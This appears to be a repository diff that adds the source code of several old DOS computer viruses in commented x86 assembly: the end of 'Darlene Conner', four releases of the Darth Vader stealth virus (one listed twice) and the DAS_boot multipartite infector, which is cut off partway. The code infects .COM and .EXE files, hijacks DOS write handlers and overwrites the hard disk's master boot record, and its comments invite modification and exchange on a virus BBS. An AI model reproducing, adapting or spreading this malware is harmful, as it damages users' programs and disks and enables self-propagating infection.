mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
mov ah,40h ; Write virus to file
mov cx,eof-virus ; Size of virus
lea dx,[bp+offset virus] ; Location to start from
int 21h
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Darlene Conner - Basketball Anyone?',10,13 ; Name Of The Virus
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
eof equ $ ; Marks the end of file
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
+151
View File
@@ -0,0 +1,151 @@
;******************************************************************************
;* *
;* D A R T H V A D E R IV *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* Enchanced by: Lazy Wizard *
;* *
;* Turbo Assembler 2.0 *
;* *
;******************************************************************************
.model tiny
.code
org 100h
Start:
call NextLine
First3:
int 20h
int 3
NextLine:
pop bx
push ax
xor di,di
mov es,di
mov es,es:[2Bh*4+2]
mov cx,1000h
call SearchZero
jc ReturnControl
xchg ax,si
inc si
SearchTable:
dec si
db 26h
lodsw
cmp ax,8B2Eh
jne SearchTable
db 26h
lodsb
cmp al,75h
je ReturnControl
cmp al,9Fh
jne SearchTable
mov si,es:[si]
mov cx,LastByte-Start
lea ax,[di+Handle-Start]
org $-1
xchg ax,es:[si+80h]
sub ax,di
sub ax,cx
mov [bx+OldWrite-Start-2],ax
mov word ptr [bx+NewStart+1-Start-3],di
lea si,[bx-3]
rep movsb
ReturnControl:
pop ax
push ss
pop es
mov di,100h
lea si,[bx+First3-Start-3]
push di
movsw
movsb
ret
SearchZero:
xor ax,ax
inc di
push cx
push di
mov cx,(LastByte-Start-1)/2+1
repe scasw
pop di
pop cx
je FoundPlace
loop SearchZero
stc
FoundPlace:
ret
Handle:
push bp
call NextHandle
NextHandle:
pop bp
push es
push ax
push bx
push cx
push si
push di
test ch,ch
je Do
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh
cmp es:[di+29h],'MO'
jne Do
cmp word ptr es:[di+15h],0
jne Do
push ds
pop es
mov di,dx
mov ax,[di]
mov [bp+First3-NextHandle],ax
mov al,[di+2]
mov [bp+First3+2-NextHandle],al
call SearchZero
jc Do
push di
NewStart:
mov si,0
mov cx,(LastByte-Start-1)/2
cli
rep
db 36h
movsw
sti
mov di,dx
mov al,0E9h
stosb
pop ax
sub ax,di
dec ax
dec ax
stosw
Do:
pop di
pop si
pop cx
pop bx
pop ax
pop es
pop bp
OldWrite:
jmp start
LastByte label byte
end Start
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,164 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R - stealth virus *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT *
;* All Rights Reserved *
;* *
;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS *
;* dispatcher for int21 functions, so it cannot be stoped by programs *
;* like ANTI4US etc... He also cannot be stoped by disk lock utilities *
;* because the virus use WRITE function (40h) of DOS' int21. *
;* Always when you copy COM file with DOS' 'copy' command or PCTools *
;* class programm, you will receive infected (destroyed) copy of file *
;* Infected file won't work, but the virus WILL *
;* *
;* Waleri Todorov *
;* *
;*******************************************************************************
nop ; Dummy NOPs. Required
nop
mov ah,30h ; Get DOS version
int 21h
cmp al,5 ; If DOS is NOT 5.X
jb OkDOS ; Continue
Exit ; else terminate
int 20h
OkDos
mov ax,1203h ; Get DOS segment
int 2fh ; Via interrupt 2F (undocumented)
mov si,9000h ; Set ES to 9000
mov es,si ; Usualy this area is fill with zeros
xor si,si ; SI=0
Next
inc si ; Next byte
cmp si,0F00h ; If SI==0xF00
ja Exit ; Then no place found and exit to DOS
push si ; else Save SI in stack
xor di,di ; ES:DI == 9000:0000
mov cx,offset lastbyte-100h ; Will check virus size
repe cmpsb ; Check until equal
jcxz Found ; if CX==0 then place is found
pop si ; else restore SI from stack
jmp short Next ; and go search next byte
Found
pop di ; Restore saved SI to DI
mov cs:MyPlace,di ; Save new offset in DOS segment
mov [2],di ; at DOSSEG:0002
mov si,100h ; SI will point beginning in file
push ds ; Save DS
push ds ; Set ES equal to DS
pop es ;
push cs ; Set DS=CS
pop ds ;
mov cx,offset LastByte-100h ; Will move virus size only
rep movsb ; Do move
pop ds ; Restore DS (point to DOSSEG)
push si ; From this place will search DOS table
NextTable
pop si ;
inc si ; Next byte
jz Exit ; If segment end then exit
push si ; Save SI
lodsw ; Load AX from DS:SI
xchg ax,bx ; Put AX in BX
lodsb ; and load AL from DS:SI
cmp bx,8B2Eh ; Check for special bytes
jne NextTable ; in AL and BX
cmp al,9Fh
jne NextTable ; If not match -> search next byte
FoundTable
lodsw ; Else load table address to AX
xchg ax,bx ; Put table address to BX
mov si,[bx+80h] ; Load current offset of 40h function
mov di,offset Handle ; Put its offset to DI
mov cx,5 ; Will check 5 bytes only
push cs ; ES:DI point handling of 40 in file
pop es
repe cmpsb ; Check if DS:SI match to ES:DI
jcxz Exit ; If match -> virus is here -> Exit
mov ax,[bx+80h] ; else load offset of function 40
mov [4],ax ; And save it to DOSSEG:0004
mov ax,offset Handle-100h ; Load absolute address of
add ax,cs:MyPlace ; new handler and adjust its location
mov [bx+80h],ax ; Store new address in DOS table
int 20h ; Now virus is load and active
Handle ; Handle function 40h of int 21
push ax ; Save important registers
push bx
push cx
push ds
push es
push si
push di
cmp cx,270d ; Check if write less than virus size
jb Do ; If so -> write with no infection
mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00
mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02
mov ax,1220h ; Get number of File Handle table
int 2fh ; Via int 2F (undocumented)
mov bl,es:[di] ; Load number to BL
mov ax,1216h ; Get File Handle table address
int 2fh ; Via int 2F (undocumented)
push di ; Save table offset
add di,20h ; Now offset point to NAME of file
push cs ; DS now will point in virus
pop ds
mov si,offset Command-100h ; Address of string COMM
add si,cs:[2] ; Adjust for different offset in DOS
mov cx,4 ; Check 4 bytes
repe cmpsb ; Do check until equal
pop di ; Restore address of table
jcxz Do ; If match -> file is COMMand.XXX
add di,28h ; Else DI point to EXTENSION of file
mov si,offset Com-100h ; Address of string COM
add si,cs:[2] ; Adjust for different offset in DOS
mov cx,3 ; Check 3 bytes
repe cmpsb ; Do check until equal
jne Do ; If NOT *.COM file -> write normal
mov di,cs:[0C02h] ; Else restore data buffer from
mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02
mov si,cs:[2] ; Get virus start offset
mov cx,offset LastByte-100 ; Will move virus only
rep movsb ; Move its code in data to write
; Now virus is placed in data buffer of COPY command or PCTools etc...
; When they write to COM file they write virus either
Do
pop di ; Restore importatnt registers
pop si
pop es
pop ds
pop cx
pop bx
pop ax
db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40)
ret ; Return to caller (usualy DOS)
Command db 'COMM' ; String for check COMMand.XXX
Com db 'COM' ; String for check *.COM
db 'Darth Vader' ; Signature
LastByte nop ; Mark to calculate virus size
MyPlace
dw 0 ; Temporary variable. Not writed

@@ -0,0 +1,227 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R ][ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the second release of Darth Vader virus. Now he infect only *
;* those COM file, wich have area of 345 (or more) zeros. Virus put *
;* himself in this area and make jump to its code. As before, he can't *
;* be stoped by ANTI4US or disk write utilities - DOS function 40h *
;* (WRITE to File/Device). The virus operate in memory only, so there is *
;* no slowing in operations. This release of virus support DOS versions *
;* from 2.X till 4.X. *
;* You may make any modifications in this source, BUT let me know *
;* what have you done (drop message at Virus eXchange BBS) *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Virus start offset is 0
call NextLine ; Call next instruction
NextLine
pop si ; and calculate its present location
sub si,3
mov [0f0h],si ; Save own location in PSP
mov [0FEh],ax ; Save AX in PSP (Important for DOS
; external commands)
xor ax,ax ; Make DS point in interrupts vectors
mov ds,ax ;
mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B
mov ax,9000h ; DS will point at 9000h
mov ds,ax ; usualy there are zeros
xor di,di ; ES:DI point first byte in DOS segment
NextZero
inc di ; Next byte
cmp di,0F00h ; If more than F00 bytes checked
ja ReturnControl ; then suppose no room and exit
push di ; else save tested offset
xor si,si ; DS:SI == 9000:0000 (zeros area)
mov cx,offset LastByte ; Size of virus
repe cmpsb ; Compare until equal
pop di ; Restore tested area offset
jcxz Found ; If tested area is fill with zeros->
jmp short NextZero ; else check next
Found ; <- Will install himself in this area
mov si,cs:[0F0h] ; Get own start address (maybe diff.)
mov cs:[0F2h],di ; Save offset in DOS segment
push cs ; Set DS point to virus segment
pop ds ;
mov cx,offset LastByte ; Size of virus
rep movsb ; Move itself in DOSSEG
push es ; Set DS point to DOSSEG
pop ds
mov si,di ; From this offset (after virus)
NextCall ; Will search DOS dispatcher
inc si ; Next byte
jz ReturnControl ; If segment overrun -> Return control
push si ; Save tested area offset
lodsw ; Load word from DS:SI
xchg ax,bx ; and put readed value in BX
lodsb ; Load byte from DS:SI
cmp bx,0FF36h ; Check 'magic' bytes
je CheclAl ; If first word match -> check last
AgainCall
pop si ; else restore offset
jmp short NextCall ; and go search next byte
CheclAl
cmp al,16h ; Check last 'magic' byte
jne AgainCall ; If not match go search next byte
pop si ; Else restore founded offset
push si ; and save it for further usage
mov di,cs:[0F2h] ; Get virus offset
mov [4],di ; and save it to DOSSEG
add di,offset HandleCall ; DI now adjusted to
movsw ; original dispatcher place
movsw ; Original dispatcher go at ES:DI for
movsb ; further calls from virus
pop di ; Restore founded offset
mov al,9Ah ; and put an absolute FAR CALL
stosb
mov ax,offset Handle ; Put offset of new dispatcher
add ax,cs:[0F2h] ; adjust him for different offsets
stosw ; and store offset in FAR CALL
mov ax,es ; put DOSSEG either in FAR CALL
stosw
; Since this moment virus is installed and operated in memory. If make a copy
; of a file with DOS copy or PCTools and if file have area of 345 (or more)
; zeros, the copy (not the original) will became infected. Copied file will
; operate correctly when you start him. The virus logic allow multiple copies
; of the virus in the memory so you may have file with several copies of virus
; (each memory copy put himself in file)
ReturnControl ; Return control to main program
push cs ; Set DS and ES to point at PSP
push cs
pop ds
pop es
mov di,100h ; Set ES:DI point start of file at PSP:100
push di ; Put DI in stack for dummy return
mov si,[0F0h] ; Get beginning of the virus
add si,offset First3 ; and adjust for first 3 instr.
movsw ; Move saved First instructions
movsb ;
mov ax,[0FEh] ; Restore saved AX (required by DOS
ret ; external command. Return control
; via dummy RET
Fail
jmp Do ; Requested jump! Don't touch here!
Handle
mov cs:[0Ah],ds ; Save write buffer segment
mov cs:[0Ch],dx ; Save write buffer offset
mov cs:[0Eh],cx ; Save write buffer size
push ax ; Save important registers
push bx
push cx
push es
push si
push di
cmp ah,40h ; If function is not 40 (WRITE)
jne Fail ; then call DOS with no infection
cmp cx,offset LastByte+10h ; Check if size of buffer
jb Fail ; is big enough to hold all virus
mov ax,1220h ; Get file handle internal table number
int 2Fh ; Via int2F (undocumented)
mov bl,es:[di] ; Load table number to BL
mov ax,1216h ; Get handle table address in ES:DI
int 2Fh ; Via int2F (undocumented)
add di,28h ; ES:DI will point file extension
push cs ; Set DS to point in virus
pop ds
mov si,offset Com ; SI point to COM string
add si,[4] ; adjust for different offsets
mov cx,3 ; Will compare 3 bytes
repe cmpsb ; Compare until equal
jne Do ; If not equal -> exit with no infect
push ds ; ES point to virus (DOS) segment
pop es
mov ds,cs:[0Ah] ; DS point to write buffer segment
mov si,cs:[0Ch] ; SI point to write buffer offset
mov di,offset First3 ; DI point to save area for
add di,cs:[4] ; first 3 instruction. Adjust fo offset
movsw ; Save first 3 instruction from write buffer
movsb ; to virus buffer
mov ax,9000h ; ES wil point zeros at 9000
mov es,ax
mov cx,cs:[0Eh] ; Restore write buffer size
SearchHole
xor di,di ; ES:DI point to 9000:0000
inc si ; SI point next byte from write buffer
dec cx ; Decrease remaining bytes
jz Do ; If test all buffer -> no infection
push cx ; Save remain buffer size
push si ; Save current buffer offset
mov cx,offset LastByte ; Will check for virus size only
repe cmpsb ; Check until equal
pop si ; Restore tested area offset
jcxz FoundHole ; If 345 zeros -> Go infect
pop cx ; Else restore remain buffer size
jmp short SearchHole ; And go check next byte
FoundHole
pop cx ; Restore remain buffer size
push si ; Save DS:SI (point to zeros in write buffer)
push ds ;
mov es,cs:[0Ah] ; ES:DI point to beginning of buffer
mov di,cs:[0Ch] ;
mov al,0E9h ; Put a NEAR JMP in buffer
stosb ;
sub si,cs:[0Ch] ; Calculate argument for JMP
sub si,3
mov ax,si ; and store it in buffer
stosw ;
pop es ; ES:DI now will point to zeros
pop di ; and the JMP address point here
; So virus will receive control first
push cs ; DS:SI will point to virus code in memory
pop ds
mov si,cs:[4] ; Adjust for different offsets
mov cx,offset LastByte ; Will move virus size only
rep movsb ; Move virus in write buffer
Do
pop di ; Restore important registers
pop si
pop es
pop cx
pop bx
pop ax
mov dx,cs:[0Ch] ; Restore write buffer address
mov ds,cs:[0Ah] ; to DS:DX
HandleCall
db 5 dup (0) ; Here come original DOS jump instr.
; Usualy it is CALL SS:[MemOffs]
; In original DOS jump instr. is placed
; a FAR CALL to new WRITE handler
retf ; Return to DOS
First3 ; Here come first 3 instruction of infected file
int 20h ; Now they are dummy terminate
nop
Com
db 'COM' ; String to check for any COM file
db 'Darth Vader' ; Virus signature
LastByte ; Dummy label to compute virus size
nop

@@ -0,0 +1,197 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R ]I[ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the third release of Darth Vader virus. He also infect only *
;* those COM file, wich have area of 255 (or more) zeros. As you might *
;* see, virus' size is reduced. This increase possibility file to have *
;* enough zeros to hold virus. In several tests the percentage of *
;* infected file was tested, and it was bigger than in Darth Vader 2. *
;* This release support only DOS 2.X and later, but less than 5.X *
;* You may make any modifications in this source, BUT let me know *
;* what you have done (drop me a message at Virus eXchange BBS) *
;* *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Begin from offset 0
nop ; Dummy NOPs. Don't remove them
nop
nop
call NextLine ; Call next instruction
NextLine
pop bx ; To calculate it's own location
sub bx,6 ; Location stored in BX
mov [0FEh],ax ; Save AX for further usage
xor ax,ax ; Set DS to point in interrupt table
mov ds,ax ;
les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG
xor di,di ; ES:DI point to DOSSEG:0000
mov cx,1000h ; Will search 1000h bytes
call SearchZero ; Search Zeros in ES:DI
jc ReturnControl ; If CF==Yes -> no place and exit
mov cs:[bx+offset NewStart],di ; Save beginnig
xor si,si ; SI=0;
push es ; Set DS point to DOSSEG
pop ds
SearchTable
lodsw ; Load word from DS:SI
cmp ax,8B2Eh ; Check first 'magic' byte
je Found1 ; If match -> check next byte
NotHere
dec si ; Else go search from next byte
jmp short SearchTable
Found1
lodsb ; Load next byte
cmp al,9Fh ; If match with last 'magic' byte
je FoundTable ; fo to found table
dec si ; else go search from next byte
jmp short NotHere
FoundTable
lodsw ; Load table address to AX
xchg ax,bx ; Exchange AX <-> BX
mov cx,[bx+80h] ; Load in CX old WRITE handler offset
xchg ax,bx ; Exchange AX <-> BX
mov cs:[bx+offset OldWrite],cx ; Save old offset
lea cx,[di+offset Handle] ; Load in CX new offset
xchg ax,bx ; Exchgange AX <-> BX
mov [bx+80h],cx ; Store new WRITE offset to table
xchg ax,bx ; Exchange AX <-> BX
push cs ; Set DS point to virus code
pop ds ;
mov cx,offset LastByte ; CX = Virus Size
mov si,bx ; SI=virus start offset
rep movsb ; ES:DI point to free area in DOS
; go in there
ReturnControl
push cs ; Set DS & ES point in host program
push cs
pop ds
pop es
mov di,100h ; DI point CS:100
lea si,[bx+offset First3] ; SI point old first instr
push di ; Save DI for dummy RETurn
movsw ; Move first 2 byte
movsb ; Move another one
mov ax,[0FEh] ; Restore AX (Remember?)
xor bx,bx ; Clear BX
ret ; Return control to host via dummy RETurn
; Here terminate virus installation in memory. After this moment
; virus is active and will infect any COM file bigger than the virus
; and having enough zeros
SearchZero
xor ax,ax ; Set AX to zero (gonna search zeros)
Again
inc di ; ES:DI++
push cx ; Save CX
push di ; Save DI
mov cx,offset LastByte ; CX = Virus Size
repe scasb ; Search until equal
pop di ; Restore DI
jcxz FoundPlace ; If CX==0 then ES:DI point to zeros
pop cx ; Else restore CX
loop Again ; And loop again until CX!=0
stc ; If CX==0
ret ; Set CF and return to caller (No place)
FoundPlace
pop cx ; Restore CX
clc ; Clear CF (ES:DI point to zero area)
ret ; Return to caller
; The followed procedure is new WRITE handle. It check does write buffer
; have enough zeros to hold virus. If so -> copy virus in zero area, change
; entry point and write file, else write file only
Handle
mov ss:[4],bp ; Save BP (BP used as index register)
push es ; Save important registers
push ax ; DS:DX are saved last, because
push bx ; they are used later in infection
push cx
push si
push di
push ds ;
push dx ;
call NextHandle ; Call NextHandle to calculate
OldWrite ; variable area offset
dw 0 ; Old WRITE handler
NewStart
dw 0 ; Virus offset in DOSSEG
First3
int 20h ; First 3 instruction of COM file
nop
NextHandle
pop bp ; Set SS:BP to point to variable area
cmp cx,offset LastByte+10h ; Check if write buffer
jb Do ; is big enough. If not -> exit
mov ax,1220h ; Get file handle (BX) table number
int 2Fh ; Via interrupt 2F (undocumented)
mov bl,es:[di] ; Load handle table number in BL
mov ax,1216h ; Get file handle table address
int 2Fh ; Via interrupt 2F (undocumented)
cmp es:[di+29h],'MO' ; Check if file is ?OM
jne Do ; If not -> exit
pop di ; Set ES:DI to point write buffer
pop es ;
push es ;
push di ;
mov ax,es:[di] ; Set AX to first 2 bytes from buffer
mov [bp+4],ax ; and save it in First instruction
mov al,es:[di+2] ; Set AL to third byte from buffer
mov [bp+6],al ; and save it in First instruction
call SearchZero ; Search zeros area in buffer
jc Do ; If not found -> exit
mov bx,di ; Set BX to point zero area
push cs ; Set DS point to DOSSEG (Virus)
pop ds
mov si,[bp+2] ; Set SI to virus offset in DOSSEG
mov cx,offset LastByte ; Set CX to virus size
rep movsb ; Move virus to buffer
pop di ; Set DI point to buffer (not zero area)
push di
mov al,0E9h ; Set AL to JMP opcode
sub bx,di ; Set BX to virus offset in file
stosb ; Store JMP to buffer
xchg ax,bx ; AX now have offset of virus in file
sub ax,3 ; Calculate JMP argument
stosw ; and store it in buffer
Do
pop dx ; Restore important registers
pop ds
pop di
pop si
pop cx
pop bx
pop ax
pop es
push [bp] ; Put old WRITE offset in stack for RET
mov bp,ss:[4] ; Restore BP
ret ; Call DOS via dummy RETurn
db 'Darth Vader ' ; Virus sign
LastByte label byte ; Last byte of virus

@@ -0,0 +1,144 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R IV *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* Enchanced by: Lazy Wizard *
;* *
;* Turbo Assembler 2.0 *
;* *
;*******************************************************************************
.model tiny
.code
org 100h
Start:
call NextLine
First3:
int 20h
int 3
NextLine:
pop bx
push ax
xor di,di
mov es,di
mov es,es:[2Bh*4+2]
mov cx,1000h
call SearchZero
jc ReturnControl
xchg ax,si
inc si
SearchTable:
dec si
db 26h
lodsw
cmp ax,8B2Eh
jne SearchTable
db 26h
lodsb
cmp al,75h
je ReturnControl
cmp al,9Fh
jne SearchTable
mov si,es:[si]
mov cx,LastByte-Start
lea ax,[di+Handle-Start]
org $-1
xchg ax,es:[si+80h]
sub ax,di
sub ax,cx
mov [bx+OldWrite-Start-2],ax
mov word ptr [bx+NewStart+1-Start-3],di
lea si,[bx-3]
rep movsb
ReturnControl:
pop ax
push ss
pop es
mov di,100h
lea si,[bx+First3-Start-3]
push di
movsw
movsb
ret
SearchZero:
xor ax,ax
inc di
push cx
push di
mov cx,[LastByte-Start-1]/2+1
repe scasw
pop di
pop cx
je FoundPlace
loop SearchZero
stc
FoundPlace:
ret
Handle:
push bp
call NextHandle
NextHandle:
pop bp
push es
push ax
push bx
push cx
push si
push di
test ch,ch
je Do
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh
cmp es:[di+29h],'MO'
jne Do
cmp word ptr es:[di+15h],0
jne Do
push ds
pop es
mov di,dx
mov ax,[di]
mov [bp+First3-NextHandle],ax
mov al,[di+2]
mov [bp+First3+2-NextHandle],al
call SearchZero
jc Do
push di
NewStart:
mov si,0
mov cx,[LastByte-Start-1]/2
cli
rep
db 36h
movsw
sti
mov di,dx
mov al,0E9h
stosb
pop ax
sub ax,di
dec ax
dec ax
stosw
Do:
pop di
pop si
pop cx
pop bx
pop ax
pop es
pop bp
OldWrite:
jmp start
LastByte label byte
end Start
@@ -0,0 +1,314 @@
;=============================================================================
; Virus Name: DAS_boot
; Effective Length: 421 Bytes
; Description: Dark Angel's _small virus modified into multipartite
;
; Notes:
; - resident, multipartite, appending .COM/.EXE infector
; - infects .COM and .EXE files when they are executed
; - infects fixed disk MBR
; - no harmful payload
;
; To Compile:
; - use shareware A86 assembler
; - type "a86 das_boot.a86"
; - resulting das_boot.com is virus dropper which,
; if executed, will infect your system with DAS_boot
;=============================================================================
boot equ 07b00 ;delta offset for boot-time location
com equ 0100 ;delta offset for resident location
EXE_id equ -040 ;EXE infection tag
viruslength equ 01a5 ;length of virus = 421 bytes
das_boot:
call relative
oldheader db 0cd, 020 ;*(00) EXE file signature | COM file's
dw ? ;*(02) # of bytes in last page| 1st 3 bytes
dw ? ;*(04) size of file + header (pages)
dw ? ; (06) # of relocation items
dw ? ; (08) size of header (paragraphs)
dw ? ; (0A) min paragraphs needed
dw ? ; (0C) max paragraphs needed
dw ? ;*(0E) ss displacement from entry in para.
dw ? ;*(10) sp value at entry
dw ? ; (12) checksum
dw ? ;*(14) ip value at entry
dw ? ;*(16) cs displacement from entry in para.
;* - indicates value modified by das_boot
relative:
pop bp ;pop offset of oldheader off of stack
sub bp,03 ;adjust offset to start of program
mov ax,cs ;load ax with current segment
mov cl,04 ;load cl with multiplier/shift value
shl ax,cl ;calculate absolute segment
mov si,bp ;load si with program offset
add si,ax ;calculate absolute address
cmp si,07c00 ;code executing at boot-time address?
jne infect_mbr ;if not, must be executing from file,
; so attempt to infect MBR
xor ax,ax ;zero ax
mov ds,ax ;point ds to vector table
push si ;save 0000:07c00 on stack as load
push ds ; location for original MBR
dec word ptr [0413] ;decrease conventional memory by 1KB
int 012 ;load ax with #KB of conv. memory
mov cx,0106 ;load move (100) and shift (06) values
shl ax,cl ;calculate destination segment
mov es,ax ;set es to destination segment
mov [022*4+2],ax ;store boot tag in int22 vector seg.
xchg [013*4+2],ax ;point int13 vector to virus segment
mov [offset old13+boot+2],ax ;store old int13 segment value
mov ax,offset int13-com ;load ax with virus int13 handler off.
xchg [013*4],ax ;point int13 vector to virus offset
mov [offset old13+boot],ax ;store old int13 offset value
xor di,di ;set destination offset=0000
cld ;clear direction flag (fwd)
rep movsw ;move virus to top of conv. memory
push es ;push destination segment for retf
mov bx,offset top_mem-com ;load bx with offset
push bx ;push offset for retf
retf ;return to self at new location
top_mem:
pop es ;pop es=0000 as disk load segment
mov ax,0201 ;select read-one-sector function
pop bx ;pop bx=07c00 as disk load offset
mov cl,02 ;cylinder 0, sector 2 (original MBR)
int 013 ;load original MBR
jmp 0000:07c00 ;jump to execute original MBR
infect_mbr:
push ds ;preserve registers
push es
push cs
pop ds ;set ds=cs
push cs
pop es ;set es=cs
mov ax,0201 ;select read-one-sector function
lea bx,[bp+viruslength] ;set load offset just beyond program
mov cx,01 ;cylinder 0, sector 1 (MBR)
mov dx,080 ;head 0, drive "C"
int 013 ;load MBR
jb exit_small ;if flag=error, exit
cmp [bx],018e8 ;check for das_boot code
je exit_small ;if equal, MBR already infected, so
; exit
mov ax,0301 ;select write-one-sector function
inc cx ;cylinder 0, sector 2
int 013 ;relocate original MBR to sector 2
mov si,bp ;set source offset to start of virus
mov di,bx ;set dest. offset to MBR in buffer
mov cx,viruslength ;load move count to cx
rep movsb ;move virus to MBR in memory
mov ax,0301 ;select write-one-sector function
inc cx ;cylinder 0, sector 1 (MBR)
int 013 ;write infected MBR to drive "C"
exit_small:
pop es ;restore segment registers to point
pop ds ; to PSP
add bp,03 ;reset bp to point to oldheader
or sp,sp ;test parity of stack pointer
jpo returnCOM ;if value is odd, COM file is host
returnEXE:
mov ax,ds ;load ax with PSP segment
add ax,010 ;adjust segment value to skip PSP
add [bp+016],ax ;restore orig. cs value in oldheader
add ax,[bp+0e] ;calculate original ss entry value
mov ss,ax ;load ss with original value
mov sp,cs:[bp+010] ;load sp with program entry value
jmp dword ptr cs:[bp+014] ;jump to EXE file entry point via
; restored value in oldheader
returnCOM:
mov di,0100 ;COM file entry point & move dest.
push di ;save on stack as return offset
mov si,bp ;point to stored COM 1st three bytes
movsw ;move the original three bytes
movsb ; back to the start of the COM file
ret ;return to execute the COM file
; (return segment already on stack)
int13:
push ax ;preserve registers
push ds
xor ax,ax ;zero ax
mov ds,ax ;point ds to vector table
mov ax,cs ;set ax=cs
cmp [090*4],ax ;bypass flag set?
je exit_int13 ;if so, don't steal int21 vector again
cmp [022*4+2],ax ;int22 vector segment = boot tag?
je exit_int13 ;if so, vectors not fully initialized,
; so don't steal int21 yet
mov [090*4],ax ;put bypass flag in unused BASIC vect.
xchg [021*4+2],ax ;point int21 vector to virus segment
mov cs:[offset old21-com+2],ax ;store orig. int21 handler segment
mov ax,offset int21-com ;load ax with virus int21 handler off.
xchg [021*4],ax ;point int21 vector to virus offset
mov cs:[offset old21-com],ax ;store orig. int21 handler offset
exit_int13:
pop ds ;restore registers
pop ax
db 0ea ;"jmp far" to location specified in
old13: ; old13
dw ?, ? ;offset and segment of original int13
; handler
infect:
push ax ;preserve registers
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,03d02 ;open file read/write function
int 021 ;attempt to open file read/write
xchg ax,bx ;save file handle in bx
push cs
pop ds ;set ds=cs
push cs
pop es ;set es=cs
mov si,offset oldheader-com ;point to offset of oldheader
mov ah,03f ;read file function
mov cx,018 ;first 18 bytes
push cx ;save value for later use
mov dx,si ;point to oldheader offset
int 021 ;load file's 1st 18 bytes to oldheader
cmp ax,cx ;18 bytes successfully read?
jne go_already_infected ;if not, open file read/write failed,
; so exit
mov di,offset target-com ;point to target offset
push di ;save offset value for later use
rep movsb ;move oldheader to target (cx=18)
pop di ;restore di to target offset value
mov ax,04202 ;move file pointer, offset from EOF
cwd ;set dx=0000 (LSP) [cx=0000 (MSP)]
int 021 ;move file pointer to EOF, dx:ax
; returned as new file pointer
cmp ds:[di],'ZM' ;check target header for EXE tag
je infectEXE ;if present, infect EXE
infectCOM:
sub ax,03 ;subtract 3 from file pointer offset
mov byte ptr ds:[di],0e9 ;put "jmp" at start of target header
mov ds:[di+01],ax ;put jmp offset in target header
sub ax,viruslength ;calc. jmp offset of infected file
cmp ds:[si-017],ax ;does file's jmp offset match?
jne finishinfect ;if not, it's not infected, so infect
go_already_infected:
pop cx ;discard excess value on stack
jmp short already_infected ;exit infection routine
int21:
cmp ax,04b00 ;load and execute file request?
je infect ;if so, attempt to infect file
jmp short chain ;if not, jump to orig. int21 handler
infectEXE:
cmp word ptr [di+010],EXE_id ;check for infect tag in target SP
je go_already_infected ;if tag is present, don't infect
push ax ;push file pointer LSP
push dx ;push file pointer MSP
add ax,viruslength ;add virus length to file length (LSP)
adc dx,0 ;adjust MSP (segment) to reflect
; any carry from adjustment of LSP
mov cx,0200 ;set cx=1 page (512d bytes)
div cx ;divide new file length by 512d to
; calculate number of pages in file
